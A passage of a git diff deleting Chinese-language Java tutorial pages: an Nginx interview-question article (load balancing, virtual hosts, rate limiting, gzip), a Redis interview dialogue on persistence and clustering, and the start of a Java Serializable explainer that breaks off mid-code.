/usr/local/static/image - -# 上传照片 -photo.jpg - -# 重启nginx -sudo nginx -s reload -``` - -打开浏览器 输入 `server_name/image/1.jpg` 就可以访问该静态图片了 - -## Nginx负载均衡的算法怎么实现的?策略有哪些? - -为了避免服务器崩溃,大家会通过负载均衡的方式来分担服务器压力。将对台服务器组成一个集群,当用户访问时,先访问到一个转发服务器,再由转发服务器将访问分发到压力更小的服务器。 - -Nginx负载均衡实现的策略有以下五种: - -#### 1 .轮询(默认) - -每个请求按时间顺序逐一分配到不同的后端服务器,如果后端某个服务器宕机,能自动剔除故障系统。 - -``` -upstream backserver { - server 192.168.0.12; - server 192.168.0.13; -} -``` - -#### 2\. 权重 weight - -weight的值越大,分配到的访问概率越高,主要用于后端每台服务器性能不均衡的情况下。其次是为在主从的情况下设置不同的权值,达到合理有效的地利用主机资源。 - -``` -# 权重越高,在被访问的概率越大,如上例,分别是20%,80%。 -upstream backserver { - server 192.168.0.12 weight=2; - server 192.168.0.13 weight=8; -} -``` - -#### 3\. ip_hash( IP绑定) - -每个请求按访问IP的哈希结果分配,使来自同一个IP的访客固定访问一台后端服务器,并且可以有效解决动态网页存在的session共享问题 - -``` -upstream backserver { - ip_hash; - server 192.168.0.12:88; - server 192.168.0.13:80; -} -``` - -#### 4\. fair(第三方插件) - -必须安装upstream_fair模块。 - -对比 weight、ip_hash更加智能的负载均衡算法,fair算法可以根据页面大小和加载时间长短智能地进行负载均衡,响应时间短的优先分配。 - -``` -# 哪个服务器的响应速度快,就将请求分配到那个服务器上。 -upstream backserver { - server server1; - server server2; - fair; -} -``` - -#### 5.url_hash(第三方插件) - -必须安装Nginx的hash软件包 - -按访问url的hash结果来分配请求,使每个url定向到同一个后端服务器,可以进一步提高后端缓存服务器的效率。 - -``` -upstream backserver {  - server squid1:3128;  - server squid2:3128;  - hash $request_uri;  - hash_method crc32;  -} -``` - -## 如何用Nginx解决前端跨域问题? - -使用Nginx转发请求。把跨域的接口写成调本域的接口,然后将这些接口转发到真正的请求地址。 - -## Nginx虚拟主机怎么配置? - -1、基于域名的虚拟主机,通过域名来区分虚拟主机——应用:外部网站 - -2、基于端口的虚拟主机,通过端口来区分虚拟主机——应用:公司内部网站,外部网站的管理后台 - -3、基于ip的虚拟主机。 - -#### 基于虚拟主机配置域名 - -需要建立`/data/www /data/bbs`目录,windows本地hosts添加虚拟机ip地址对应的域名解析;对应域名网站目录下新增index.html文件; - -``` -# 当客户端访问www.lijie.com,监听端口号为80,直接跳转到data/www目录下文件 -server { - listen 80; - server_name www.lijie.com; - location / { - root data/www; - index index.html index.htm; - } -} - -# 当客户端访问bbs.lijie.com,监听端口号为80,直接跳转到data/bbs目录下文件 - server { - listen 80; - server_name bbs.lijie.com; - location / { - root data/bbs; - index index.html index.htm; - } -} -``` - -#### 基于端口的虚拟主机 - -使用端口来区分,浏览器使用域名或ip地址:端口号 访问 - -``` -# 当客户端访问www.lijie.com,监听端口号为8080,直接跳转到data/www目录下文件 - server { - listen 8080; - server_name www.lijie.com; - location / { - root data/www; - index index.html index.htm; - } -} - -# 当客户端访问www.lijie.com,监听端口号为80直接跳转到真实ip服务器地址 127.0.0.1:8080 -server { - listen 80; - server_name www.lijie.com; - location / { - proxy_pass http://127.0.0.1:8080; - index index.html index.htm; - } -} -``` - -## location的作用是什么? - -location指令的作用是根据用户请求的URI来执行不同的应用,也就是根据用户请求的网站URL进行匹配,匹配成功即进行相关的操作。 - -location的语法能说出来吗? - -> 注意:~ 代表自己输入的英文字母 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nginx/40-interview-8b8c7eeb-5542-43ab-9acc-3c7e51b5a4ac.png) - - -#### Location正则案例 - -``` -# 优先级1,精确匹配,根路径 -location =/ { - return 400; -} - -# 优先级2,以某个字符串开头,以av开头的,优先匹配这里,区分大小写 -location ^~ /av { - root /data/av/; -} - -# 优先级3,区分大小写的正则匹配,匹配/media*****路径 -location ~ /media { - alias /data/static/; -} - -# 优先级4 ,不区分大小写的正则匹配,所有的****.jpg|gif|png 都走这里 -location ~* .*\.(jpg|gif|png|js|css)$ { - root /data/av/; -} - -# 优先7,通用匹配 -location / { - return 403; -} -``` - -## 限流怎么做的? - -Nginx限流就是限制用户请求速度,防止服务器受不了 - -限流有3种 - -* 正常限制访问频率(正常流量) -* 突发限制访问频率(突发流量) -* 限制并发连接数 - -Nginx的限流都是基于漏桶流算法 - -> 实现三种限流算法 - -#### 1、正常限制访问频率(正常流量): - -限制一个用户发送的请求,我Nginx多久接收一个请求。 - -Nginx中使用`ngx_http_limit_req_module`模块来限制的访问频率,限制的原理实质是基于漏桶算法原理来实现的。在nginx.conf配置文件中可以使用`limit_req_zone`命令及`limit_req`命令限制单个IP的请求处理频率。 - -``` -# 定义限流维度,一个用户一分钟一个请求进来,多余的全部漏掉 -limit_req_zone $binary_remote_addr zone=one:10m rate=1r/m; - -# 绑定限流维度 -server{ - - location/seckill.html{ - limit_req zone=zone; - proxy_pass http://lj_seckill; - } - -} -``` - -1r/s代表1秒一个请求,1r/m一分钟接收一个请求, 如果Nginx这时还有别人的请求没有处理完,Nginx就会拒绝处理该用户请求。 - -#### 2、突发限制访问频率(突发流量): - -限制一个用户发送的请求,我Nginx多久接收一个。 - -上面的配置一定程度可以限制访问频率,但是也存在着一个问题:如果突发流量超出请求被拒绝处理,无法处理活动时候的突发流量,这时候应该如何进一步处理呢? - -Nginx提供burst参数结合nodelay参数可以解决流量突发的问题,可以设置能处理的超过设置的请求数外能额外处理的请求数。我们可以将之前的例子添加burst参数以及nodelay参数: - -``` -# 定义限流维度,一个用户一分钟一个请求进来,多余的全部漏掉 -limit_req_zone $binary_remote_addr zone=one:10m rate=1r/m; - -# 绑定限流维度 -server{ - - location/seckill.html{ - limit_req zone=zone burst=5 nodelay; - proxy_pass http://lj_seckill; - } - -} -``` - -为什么就多了一个 burst=5 nodelay; 呢,多了这个可以代表Nginx对于一个用户的请求会立即处理前五个,多余的就慢慢来落,没有其他用户的请求我就处理你的,有其他的请求的话我Nginx就漏掉不接受你的请求 - -#### 3、 限制并发连接数 - -Nginx中的`ngx_http_limit_conn_module`模块提供了限制并发连接数的功能,可以使用`limit_conn_zone`指令以及`limit_conn`执行进行配置。接下来我们可以通过一个简单的例子来看下: - -``` -http { - limit_conn_zone $binary_remote_addr zone=myip:10m; - limit_conn_zone $server_name zone=myServerName:10m; -} - -server { - location / { - limit_conn myip 10; - limit_conn myServerName 100; - rewrite / http://www.lijie.net permanent; - } -} -``` - -上面配置了单个IP同时并发连接数最多只能10个连接,并且设置了整个虚拟服务器同时最大并发数最多只能100个链接。当然,只有当请求的header被服务器处理后,虚拟服务器的连接数才会计数。刚才有提到过Nginx是基于漏桶算法原理实现的,实际上限流一般都是基于漏桶算法和令牌桶算法实现的。 - -## 漏桶流算法和令牌桶算法知道? - -#### 漏桶算法 - -漏桶算法思路很简单,我们把水比作是请求,漏桶比作是系统处理能力极限,水先进入到漏桶里,漏桶里的水按一定速率流出,当流出的速率小于流入的速率时,由于漏桶容量有限,后续进入的水直接溢出(拒绝请求),以此实现限流。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nginx/40-interview-57f54ac6-82fe-403c-af37-728d707d5eca.png) - - -#### 令牌桶算法 - -令牌桶算法的原理也比较简单,我们可以理解成医院的挂号看病,只有拿到号以后才可以进行诊病。 - -系统会维护一个令牌(token)桶,以一个恒定的速度往桶里放入令牌(token),这时如果有请求进来想要被处理,则需要先从桶里获取一个令牌(token),当桶里没有令牌(token)可取时,则该请求将被拒绝服务。令牌桶算法通过控制桶的容量、发放令牌的速率,来达到对请求的限制。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nginx/40-interview-4bebeaf2-3853-4bb3-a34d-10316a230854.png) - - -## Nginx配置高可用性怎么配置? - -当上游服务器(真实访问服务器),一旦出现故障或者是没有及时相应的话,应该直接轮训到下一台服务器,保证服务器的高可用 - -Nginx配置代码: - -``` -server { -        listen       80; -        server_name  www.lijie.com; -        location / { -            ### 指定上游服务器负载均衡服务器 -            proxy_pass http://backServer; -            ###nginx与上游服务器(真实访问的服务器)超时时间 后端服务器连接的超时时间_发起握手等候响应超时时间 -            proxy_connect_timeout 1s; -            ###nginx发送给上游服务器(真实访问的服务器)超时时间 -            proxy_send_timeout 1s; -            ### nginx接受上游服务器(真实访问的服务器)超时时间 -            proxy_read_timeout 1s; -            index  index.html index.htm; -        } -    } -``` - -## Nginx怎么判断别IP不可访问? - -``` - # 如果访问的ip地址为192.168.9.115,则返回403 - if ($remote_addr = 192.168.9.115) { - return 403; - } -``` - -## 在nginx中,如何使用未定义的服务器名称来阻止处理请求? - -只需将请求删除的服务器就可以定义为: - -服务器名被保留一个空字符串,他在没有主机头字段的情况下匹配请求,而一个特殊的nginx的非标准代码被返回,从而终止连接。 - -## 怎么限制浏览器访问? - -``` -## 不允许谷歌浏览器访问 如果是谷歌浏览器返回500 -if ($http_user_agent ~ Chrome) { - return 500; -} -``` - -## Rewrite全局变量是什么? - -``` -$remote_addr //获取客户端ip -$binary_remote_addr //客户端ip(二进制) -$remote_port //客户端port,如:50472 -$remote_user //已经经过Auth Basic Module验证的用户名 -$host //请求主机头字段,否则为服务器名称,如:blog.sakmon.com -$request //用户请求信息,如:GET ?a=1&b=2 HTTP/1.1 -$request_filename //当前请求的文件的路径名,由root或alias和URI request组合而成,如:/2013/81.html -$status //请求的响应状态码,如:200 -$body_bytes_sent // 响应时送出的body字节数数量。即使连接中断,这个数据也是精确的,如:40 -$content_length // 等于请求行的“Content_Length”的值 -$content_type // 等于请求行的“Content_Type”的值 -$http_referer // 引用地址 -$http_user_agent // 客户端agent信息,如:Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.76 Safari/537.36 -$args //与$query_string相同 等于当中URL的参数(GET),如a=1&b=2 -$document_uri //与$uri相同 这个变量指当前的请求URI,不包括任何参数(见$args) 如:/2013/81.html -$document_root //针对当前请求的根路径设置值 -$hostname //如:centos53.localdomain -$http_cookie //客户端cookie信息 -$cookie_COOKIE //cookie COOKIE变量的值 -$is_args //如果有$args参数,这个变量等于”?”,否则等于”",空值,如? -$limit_rate //这个变量可以限制连接速率,0表示不限速 -$query_string // 与$args相同 等于当中URL的参数(GET),如a=1&b=2 -$request_body // 记录POST过来的数据信息 -$request_body_file //客户端请求主体信息的临时文件名 -$request_method //客户端请求的动作,通常为GET或POST,如:GET -$request_uri //包含请求参数的原始URI,不包含主机名,如:/2013/81.html?a=1&b=2 -$scheme //HTTP方法(如http,https),如:http -$uri //这个变量指当前的请求URI,不包括任何参数(见$args) 如:/2013/81.html -$request_completion //如果请求结束,设置为OK. 当请求未结束或如果该请求不是请求链串的最后一个时,为空(Empty),如:OK -$server_protocol //请求使用的协议,通常是HTTP/1.0或HTTP/1.1,如:HTTP/1.1 -$server_addr //服务器IP地址,在完成一次系统调用后可以确定这个值 -$server_name //服务器名称,如:blog.sakmon.com -$server_port //请求到达服务器的端口号,如:80 -``` - -## Nginx 如何实现后端服务的健康检查? - -方式一,利用 nginx 自带模块 `ngx_http_proxy_module` 和 `ngx_http_upstream_module` 对后端节点做健康检查。 - -方式二(推荐),利用 `nginx_upstream_check_module` 模块对后端节点做健康检查。 - -## Nginx 如何开启压缩? - -开启nginx gzip压缩后,网页、css、js等静态资源的大小会大大的减少,从而可以节约大量的带宽,提高传输效率,给用户快的体验。虽然会消耗cpu资源,但是为了给用户更好的体验是值得的。 - -开启的配置如下: - -将以上配置放到nginx.conf的`http{ … }`节点中。 - -``` -http { - # 开启gzip - gzip on; - - # 启用gzip压缩的最小文件;小于设置值的文件将不会被压缩 - gzip_min_length 1k; - - # gzip 压缩级别 1-10 - gzip_comp_level 2; - - # 进行压缩的文件类型。 - - gzip_types text/plain application/javascript application/x-javascript text/css application/xml text/javascript application/x-httpd-php image/jpeg image/gif image/png; - - # 是否在http header中添加Vary: Accept-Encoding,建议开启 - gzip_vary on; -} -``` - -保存并重启nginx,刷新页面(为了避免缓存,请强制刷新)就能看到效果了。以谷歌浏览器为例,通过F12看请求的响应头部: - -我们可以先来对比下,如果我们没有开启zip压缩之前,我们的对应的文件大小,如下所示: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nginx/40-interview-fb46fd48-e596-48ac-8759-0663d29593af.png) - - -现在我们开启了gzip进行压缩后的文件的大小,可以看到如下所示: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nginx/40-interview-1ee18fd5-1cc1-478a-9fca-d15f85f0f5c7.png) - - -并且我们查看响应头会看到gzip这样的压缩,如下所示 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nginx/40-interview-c3c95717-45ee-4f56-b606-d56d2fc3cc57.png) - - -gzip压缩前后效果对比:jquery原大小90kb,压缩后只有30kb。 - -gzip虽然好用,但是以下类型的资源不建议启用。 - -#### 1、图片类型 - -原因:图片如jpg、png本身就会有压缩,所以就算开启gzip后,压缩前和压缩后大小没有多大区别,所以开启了反而会白白的浪费资源。(Tips:可以试试将一张jpg图片压缩为zip,观察大小并没有多大的变化。虽然zip和gzip算法不一样,但是可以看出压缩图片的价值并不大) - -#### 2、大文件 - -原因:会消耗大量的cpu资源,且不一定有明显的效果。 - -## ngx_http_upstream_module的作用是什么? - -ngx_http_upstream_module用于定义可通过fastcgi传递、proxy传递、uwsgi传递、memcached传递和scgi传递指令来引用的服务器组。 - -## 什么是C10K问题? - -C10K问题是指无法同时处理大量客户端(10,000)的网络套接字。 - -## Nginx是否支持将请求压缩到上游? - -您可以使用Nginx模块gunzip将请求压缩到上游。gunzip模块是一个过滤器,它可以对不支持“gzip”编码方法的客户机或服务器使用“内容编码:gzip”来解压缩响应。 - -## 如何在Nginx中获得当前的时间? - -要获得Nginx的当前时间,必须使用SSI模块、和date_local的变量。 - -``` -Proxy_set_header THE-TIME $date_gmt; -``` - -## 用Nginx服务器解释-s的目的是什么? - -用于运行Nginx -s参数的可执行文件。 - -## 如何在Nginx服务器上添加模块? - -在编译过程中,必须选择Nginx模块,因为Nginx不支持模块的运行时间选择。 - -## 生产中如何设置worker进程的数量呢? - -在有多个cpu的情况下,可以设置多个worker,worker进程的数量可以设置到和cpu的核心数一样多,如果在单个cpu上起多个worker进程,那么操作系统会在多个worker之间进行调度,这种情况会降低系统性能,如果只有一个cpu,那么只启动一个worker进程就可以了。 - -## nginx状态码 - -499: - -服务端处理时间过长,客户端主动关闭了连接。 - -502: - -(1).FastCGI进程是否已经启动 - -(2).FastCGI worker进程数是否不够 - -(3).FastCGI执行时间过长 - -* fastcgi_connect_timeout 300; -* fastcgi_send_timeout 300; -* fastcgi_read_timeout 300; - -(4).FastCGI Buffer不够,nginx和apache一样,有前端缓冲限制,可以调整缓冲参数 - -* fastcgi_buffer_size 32k; -* fastcgi_buffers 8 32k; - -(5). Proxy Buffer不够,如果你用了Proxying,调整 - -* proxy_buffer_size 16k; -* proxy_buffers 4 16k; - -(6).php脚本执行时间过长 - -* 将php-fpm.conf的0s的0s改成一个时间 - ------- - -看完这 40 个 Nginx 的面试题,小二是感激涕零,感动的一塌糊涂。我拍了拍他的肩膀,安慰他说:“加油,未来是你的。” - - ->原文链接:[blog.csdn.net/wuzhiwei549/article/details/122758937](blog.csdn.net/wuzhiwei549/article/details/122758937),整理:沉默王二 - ---------- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/interview/redis-12.md b/docs/src/interview/redis-12.md deleted file mode 100644 index 89e582ee69..0000000000 --- a/docs/src/interview/redis-12.md +++ /dev/null @@ -1,188 +0,0 @@ ---- -title: 12 道 Redis 精选面试题👍 -shortTitle: 12 道 Redis 精选面试题👍 -category: - - 求职面试 -tag: - - 面试题&八股文 -description: 二哥的Java进阶之路,小白的零基础Java教程,12 道 Redis 精选面试题👍 -head: - - - meta - - name: keywords - content: Redis,redis,面试题,八股文 ---- - - - -大家好,我是二哥呀。 - -Redis 是面试中绕不过的槛,只要在简历中写了用过 Redis,肯定逃不过。今天我们就来模拟一下面试官在 Redis 这个话题上是如何一步一步深入,全面考察候选人对于 Redis 的掌握情况。 - -小二:面试官,你好。我是来参加面试的。 - -面试官:你好,小二。我看了你的简历,熟练掌握 Redis,那么我就随便问你几个 Redis 相关的问题吧。首先我的问题是,**Redis 是单线程还是多线程呢**? - -小二: - -Redis 不同版本之间采用的线程模型是不一样的,在 Redis4.0 版本之前使用的是单线程模型,在 4.0 版本之后增加了多线程的支持。 - -在 4.0 之前虽然我们说 Redis 是单线程,也只是说它的网络 I/O 线程以及 Set 和 Get 操作是由一个线程完成的。但是 Redis 的持久化、集群同步还是使用其他线程来完成。 - -4.0 之后添加了多线程的支持,主要是体现在大数据的异步删除功能上,例如 unlink key、flushdb async、flushall async 等 - -面试官:回答的很好,**那为什么 Redis 在 4.0 之前会选择使用单线程?而且使用单线程还那么快**? - -小二: - -选择单线程个人觉得主要是使用简单,不存在锁竞争,可以在无锁的情况下完成所有操作,不存在死锁和线程切换带来的性能和时间上的开销,但同时单线程也不能完全发挥出多核 CPU 的性能。 - -至于为什么单线程那么快我觉得主要有以下几个原因: - -- Redis 的大部分操作都在内存中完成,内存中的执行效率本身就很快,并且采用了高效的数据结构,比如哈希表和跳表。 -- 使用单线程避免了多线程的竞争,省去了多线程切换带来的时间和性能开销,并且不会出现死锁。 -- 采用 I/O 多路复用机制处理大量客户端的 Socket 请求,因为这是基于非阻塞的 I/O 模型,这就让 Redis 可以高效地进行网络通信,I/O 的读写流程也不再阻塞。 - -面试官:不错,那 **Redis 是如何实现数据不丢失的呢**? - -小二: - -Redis 数据是存储在内存中的,为了保证 Redis 数据不丢失,那就要把数据从内存存储到磁盘上,以便在服务器重启后还能够从磁盘中恢复原有数据,这就是 Redis 的数据持久化。Redis 数据持久化有三种方式。 - -**1)AOF 日志(Append Only File,文件追加方式)**:记录所有的操作命令,并以文本的形式追加到文件中。 - -**2)RDB 快照(Redis DataBase)**:将某一个时刻的内存数据,以二进制的方式写入磁盘。 - -**3)混合持久化方式**:Redis 4.0 新增了混合持久化的方式,集成了 RDB 和 AOF 的优点。 - -面试官:那你分别说说 **AOF 和 RDB 的实现原理**吧。 - -小二: - -AOF 采用的是写后日志的方式,Redis 先执行命令把数据写入内存,然后再记录日志到文件中。AOF 日志记录的是操作命令,不是实际的数据,如果采用 AOF 方法做故障恢复时需要将全量日志都执行一遍。 - - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/mianjing/redis12question-1.png) - - -RDB 采用的是内存快照的方式,它记录的是某一时刻的数据,而不是操作,所以采用 RDB 方法做故障恢复时只需要直接把 RDB 文件读入内存即可,实现快速恢复。 - -面试官:你刚提到了 AOF 采用的是 “写后日志” 的方式,我们平时用的 MySQL 则采用的是 “写前日志”,那 **Redis 为什么要先执行命令,再把数据写入日志呢**? - -小二:这个主要是由于 Redis 在写入日志之前,不对命令进行语法检查,所以只记录执行成功的命令,避免出现记录错误命令的情况,而且在命令执行后再写日志不会阻塞当前的写操作。 - -面试官:**那后写日志又有什么风险呢**? - -小二:我... 这个我不会。 - -面试官: - -好吧,后写日志主要有两个风险可能会发生: - -- **数据可能会丢失**:如果 Redis 刚执行完命令,此时发生故障宕机,会导致这条命令存在丢失的风险。 -- **可能阻塞其他操作**:AOF 日志其实也是在主线程中执行,所以当 Redis 把日志文件写入磁盘的时候,还是会阻塞后续的操作无法执行。 - -我还有个问题是 **RDB 做快照时会阻塞线程吗**? - -小二:Redis 提供了两个命令来生成 RDB 快照文件,分别是 save 和 bgsave。save 命令在主线程中执行,会导致阻塞。而 bgsave 命令则会创建一个子进程,用于写入 RDB 文件的操作,避免了对主线程的阻塞,这也是 Redis RDB 的默认配置。 - -面试官:**RDB 做快照的时候数据能修改吗**? - -小二:save 是同步的会阻塞客户端命令,bgsave 的时候是可以修改的。 - -面试官:那 Redis 是**怎么解决在 bgsave 做快照的时候允许数据修改呢**? - -小二:额,这个我不太清楚... - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/mianjing/redis12question-2.png) - - -面试官: - -这里主要是利用 bgsave 的子线程实现的,具体操作如下: - -- 如果主线程执行读操作,则主线程和 bgsave 子进程互相不影响; -- 如果主线程执行写操作,则被修改的数据会复制一份副本,然后 bgsave 子进程会把该副本数据写入 RDB 文件,在这个过程中,主线程仍然可以直接修改原来的数据。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/mianjing/redis12question-3.png) - -要注意,Redis 对 RDB 的执行频率非常重要,因为这会影响快照数据的完整性以及 Redis 的稳定性,所以在 Redis 4.0 后,增加了 AOF 和 RDB 混合的数据持久化机制: 把数据以 RDB 的方式写入文件,再将后续的操作命令以 AOF 的格式存入文件,既保证了 Redis 重启速度,又降低数据丢失风险。 - -小二:学到了学到了。 - -面试官:那你再跟我说说 **Redis 如何实现高可用**吧? - -小二:Redis 实现高可用主要有三种方式:主从复制、哨兵模式,以及 Redis 集群。 - -**1)主从复制** - -将从前的一台 Redis 服务器,同步数据到多台从 Redis 服务器上,即一主多从的模式,这个跟 MySQL 主从复制的原理一样。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/mianjing/redis12question-4.png) - -**2)哨兵模式** - -使用 Redis 主从服务的时候,会有一个问题,就是当 Redis 的主从服务器出现故障宕机时,需要手动进行恢复,为了解决这个问题,Redis 增加了哨兵模式(因为哨兵模式做到了可以监控主从服务器,并且提供自动容灾恢复的功能)。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/mianjing/redis12question-5.png) - -**3)Redis Cluster(集群)** - -Redis Cluster 是一种分布式去中心化的运行模式,是在 Redis 3.0 版本中推出的 Redis 集群方案,它将数据分布在不同的服务器上,以此来降低系统对单主节点的依赖,从而提高 Redis 服务的读写性能。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/mianjing/redis12question-6.png) - -面试官:使用哨兵模式在数据上有副本数据做保证,在可用性上又有哨兵监控,一旦 master 宕机会选举 salve 节点为 master 节点,这种已经满足了我们的生产环境需要,**那为什么还需要使用集群模式呢**? - -小二:哨兵模式归根节点还是主从模式,在主从模式下我们可以通过增加 salve 节点来扩展读并发能力,但是没办法扩展写能力和存储能力,存储能力只能是 master 节点能够承载的上限。所以为了扩展写能力和存储能力,我们就需要引入集群模式。 - -面试官:集群中那么多 Master 节点,**Redis Cluster 在存储的时候如何确定选择哪个节点呢**? - -小二:这应该是使用了某种 hash 算法,但是我不太清楚。。。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/mianjing/redis12question-7.png) - -面试官:那好,今天的面试就到这里吧,你先回去等我们的面试通知。 - -小二:好的,谢谢面试官,你能告诉我 Redis Cluster 怎么实现节点选择的吗? - -面试官: - -Redis Cluster 采用的是类一致性哈希算法实现节点选择的,至于什么是一致性哈希算法你自己回去看看。 - -Redis Cluster 将自己分成了 16384 个 Slot(槽位),哈希槽类似于数据分区,每个键值对都会根据它的 key,被映射到一个哈希槽中,具体执行过程分为两大步。 - -1)根据键值对的 key,按照 CRC16 算法计算一个 16 bit 的值。 - -2)再用 16bit 值对 16384 取模,得到 0~16383 范围内的模数,每个模数代表一个相应编号的哈希槽。 - -每个 Redis 节点负责处理一部分槽位,假如你有三个 master 节点 ABC,每个节点负责的槽位如下: - -节点 | 处理槽位 ----|--- -A | 0-5000 -B |5001 - 10000 -C |10001 - 16383 - -这样就实现了 cluster 节点的选择。 - ----- - -文章来源于JAVA日知录 ,作者飘渺Jam -转载链接:[https://mp.weixin.qq.com/s/GFUHslsSm96fJbhsCkFe_w](https://mp.weixin.qq.com/s/GFUHslsSm96fJbhsCkFe_w) - ---------- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/io/Serializbale.md b/docs/src/io/Serializbale.md deleted file mode 100644 index 418e3b7369..0000000000 --- a/docs/src/io/Serializbale.md +++ /dev/null @@ -1,596 +0,0 @@ ---- -title: Java Serializable 接口:明明就一个空的接口嘛 -shortTitle: 序列接口Serializable -category: - - Java核心 -tag: - - Java IO -description: 本文详细介绍了 Java Serializable 接口的实际作用与意义,阐述了虽然它是一个空接口,但在 Java 对象序列化中具有重要的标记作用。同时,文章还提供了 Serializable 接口的实际应用示例和序列化机制。阅读本文,将帮助您更深入地了解 Serializable 接口在 Java 编程中的关键地位,有效实现对象的序列化与反序列化。 -head: - - - meta - - name: keywords - content: Java,Java SE,Java基础,Java教程,二哥的Java进阶之路,Java进阶之路,Java入门,教程,Serializable,java Serializable,java 序列化 ---- - - -对于 Java 的序列化,我之前一直停留在最浅层次的认知上——把那个要[序列化](https://javabetter.cn/io/serialize.html)的类实现 `Serializbale` 接口就可以了嘛。 - -我似乎不愿意做更深入的研究,因为会用就行了嘛。 - -但随着时间的推移,见到 `Serializbale` 的次数越来越多,我便对它产生了浓厚的兴趣。是时候花点时间研究研究了。 - -### 01、先来点理论 - -Java 序列化是 JDK 1.1 时引入的一组开创性的特性,用于将 Java 对象转换为字节数组,便于存储或传输。此后,仍然可以将字节数组转换回 Java 对象原有的状态。 - -序列化的思想是“冻结”对象状态,然后写到磁盘或者在网络中传输;[反序列化](https://javabetter.cn/io/serialize.html)的思想是“解冻”对象状态,重新获得可用的 Java 对象。 - -序列化有一条规则,就是要序列化的对象必须实现 `Serializbale` 接口,否则就会报 NotSerializableException 异常。 - -好,来看看 `Serializbale` 接口的定义吧: - -```java -public interface Serializable { -} -``` - -没别的了! - -明明就一个空的接口嘛,竟然能够保证实现了它的“类对象”被序列化和反序列化? - -### 02、再来点实战 - -在回答上述问题之前,我们先来创建一个类(只有两个字段,和对应的 `getter/setter`),用于序列化和反序列化。 - -```java -class Wanger { - private String name; - private int age; - - public String getName() { - return name; - } - - public void setName(String name) { - this.name = name; - } - - public int getAge() { - return age; - } - - public void setAge(int age) { - this.age = age; - } -} -``` - -再来创建一个测试类,通过 `ObjectOutputStream` 将“18 岁的王二”写入到文件当中,实际上就是一种序列化的过程;再通过 `ObjectInputStream` 将“18 岁的王二”从文件中读出来,实际上就是一种反序列化的过程。(前面我们学习[序列流](https://javabetter.cn/io/serialize.html)的时候也讲过) - -```java -// 初始化 -Wanger wanger = new Wanger(); -wanger.setName("王二"); -wanger.setAge(18); -System.out.println(wanger); - -// 把对象写到文件中 -try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("chenmo"));){ - oos.writeObject(wanger); -} catch (IOException e) { - e.printStackTrace(); -} - -// 从文件中读出对象 -try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("chenmo")));){ - Wanger wanger1 = (Wanger) ois.readObject(); - System.out.println(wanger1); -} catch (IOException | ClassNotFoundException e) { - e.printStackTrace(); -} -``` - -不过,由于 `Wanger` 没有实现 `Serializbale` 接口,所以在运行测试类的时候会抛出异常,堆栈信息如下: - -``` -java.io.NotSerializableException: com.cmower.java_demo.xuliehua.Wanger - at java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1184) - at java.io.ObjectOutputStream.writeObject(ObjectOutputStream.java:348) - at com.cmower.java_demo.xuliehua.Test.main(Test.java:21) -``` - -顺着堆栈信息,我们来看一下 `ObjectOutputStream` 的 `writeObject0()` 方法。其部分源码如下: - -```java -// 判断对象是否为字符串类型,如果是,则调用 writeString 方法进行序列化 -if (obj instanceof String) { - writeString((String) obj, unshared); -} -// 判断对象是否为数组类型,如果是,则调用 writeArray 方法进行序列化 -else if (cl.isArray()) { - writeArray(obj, desc, unshared); -} -// 判断对象是否为枚举类型,如果是,则调用 writeEnum 方法进行序列化 -else if (obj instanceof Enum) { - writeEnum((Enum) obj, desc, unshared); -} -// 判断对象是否为可序列化类型,如果是,则调用 writeOrdinaryObject 方法进行序列化 -else if (obj instanceof Serializable) { - writeOrdinaryObject(obj, desc, unshared); -} -// 如果对象不能被序列化,则抛出 NotSerializableException 异常 -else { -if (extendedDebugInfo) { - throw new NotSerializableException( - cl.getName() + "\n" + debugInfoStack.toString()); -} else { - throw new NotSerializableException(cl.getName()); -} -} -``` - -也就是说,`ObjectOutputStream` 在序列化的时候,会判断被序列化的对象是哪一种类型,字符串?数组?枚举?还是 `Serializable`,如果全都不是的话,抛出 `NotSerializableException`。 - -假如 `Wanger` 实现了 `Serializable` 接口,就可以序列化和反序列化了。 - -```java -class Wanger implements Serializable{ - private static final long serialVersionUID = -2095916884810199532L; - - private String name; - private int age; -} -``` - -具体怎么序列化呢? - -以 `ObjectOutputStream` 为例吧,它在序列化的时候会依次调用 `writeObject()`→`writeObject0()`→`writeOrdinaryObject()`→`writeSerialData()`→`invokeWriteObject()`→`defaultWriteFields()`。 - -```java -private void 